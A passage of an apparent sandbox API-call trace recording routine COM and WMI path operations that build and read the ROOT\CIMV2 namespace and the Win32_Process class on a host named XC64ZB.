WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2120, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0109.471] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2120, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af5e0) returned 0x0 [0109.471] WbemDefPath:IUnknown:Release (This=0x1b4d2120) returned 0x0 [0109.471] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af5e0) returned 0x0 [0109.471] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0109.471] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0109.471] WbemDefPath:IUnknown:AddRef (This=0x1b4af5e0) returned 0x3 [0109.471] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0109.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0109.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d1ea0) returned 0x0 [0109.472] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1ea0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0109.472] WbemDefPath:IUnknown:Release (This=0x1b4d1ea0) returned 0x3 [0109.472] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0109.472] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0109.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0109.472] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x2 [0109.472] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x1 [0109.472] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0109.472] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0109.472] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af5e0) returned 0x0 [0109.472] WbemDefPath:IUnknown:AddRef (This=0x1b4af5e0) returned 0x3 [0109.472] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x2 [0109.472] WbemDefPath:IWbemPath:SetText (This=0x1b4af5e0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0109.472] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0109.472] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0109.472] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0109.472] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0109.472] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4afd60) returned 0x0 [0109.472] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0109.472] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af5e0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0109.472] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af5e0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0109.472] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4afd60, uIndex=0x0, pszName="ROOT") returned 0x0 [0109.472] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af5e0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0109.472] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af5e0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0109.472] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4afd60, uIndex=0x1, pszName="CIMV2") returned 0x0 [0109.472] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4afd60, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0109.473] WbemDefPath:IWbemPath:SetClassName (This=0x1b4afd60, Name="Win32_Process") returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afd60, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4afd60, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afd60, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afbe0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0109.473] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afd60, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0109.473] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0109.473] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0109.473] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0109.473] IUnknown:Release (This=0x6124e8) returned 0x1 [0109.474] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4d2460) returned 0x0 [0109.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2460, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0109.474] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2460, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4afa60) returned 0x0 [0109.474] WbemDefPath:IUnknown:Release (This=0x1b4d2460) returned 0x0 [0109.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4afa60) returned 0x0 [0109.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0109.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0109.474] WbemDefPath:IUnknown:AddRef (This=0x1b4afa60) returned 0x3 [0109.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0109.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0109.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4d2620) returned 0x0 [0109.474] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2620, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0109.474] WbemDefPath:IUnknown:Release (This=0x1b4d2620) returned 0x3 [0109.474] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0109.474] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0109.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0109.474] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x2 [0109.474] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x1 [0109.474] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0109.475] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0109.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afa60, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4afa60) returned 0x0 [0109.475] WbemDefPath:IUnknown:AddRef (This=0x1b4afa60) returned 0x3 [0109.475] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x2 [0109.475] WbemDefPath:IWbemPath:SetText (This=0x1b4afa60, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0109.475] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afbe0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0109.475] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0109.475] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afbe0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0109.475] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0109.475] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0109.475] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0109.475] IUnknown:Release (This=0x6124e8) returned 0x1 [0109.475] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2080) returned 0x0 [0109.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2080, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0109.476] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2080, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afe20) returned 0x0 [0109.476] WbemDefPath:IUnknown:Release (This=0x1b4d2080) returned 0x0 [0109.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afe20) returned 0x0 [0109.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0109.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0109.476] WbemDefPath:IUnknown:AddRef (This=0x1b4afe20) returned 0x3 [0109.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0109.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0109.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d1fc0) returned 0x0 [0109.476] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1fc0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0109.476] WbemDefPath:IUnknown:Release (This=0x1b4d1fc0) returned 0x3 [0109.476] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0109.476] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0109.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0109.476] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x2 [0109.476] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x1 [0109.476] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0109.476] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0109.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afe20) returned 0x0 [0109.476] WbemDefPath:IUnknown:AddRef (This=0x1b4afe20) returned 0x3 [0109.476] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x2 [0109.476] WbemDefPath:IWbemPath:SetText (This=0x1b4afe20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0109.476] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afa60, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0109.476] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0109.476] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0109.477] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4afa60) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afe20, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afe20, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0109.477] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4afa60, uIndex=0x0, pszName="root") returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afe20, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afe20, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0109.477] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4afa60, uIndex=0x1, pszName="cimv2") returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afe20, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afe20, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0109.477] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afa60, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: 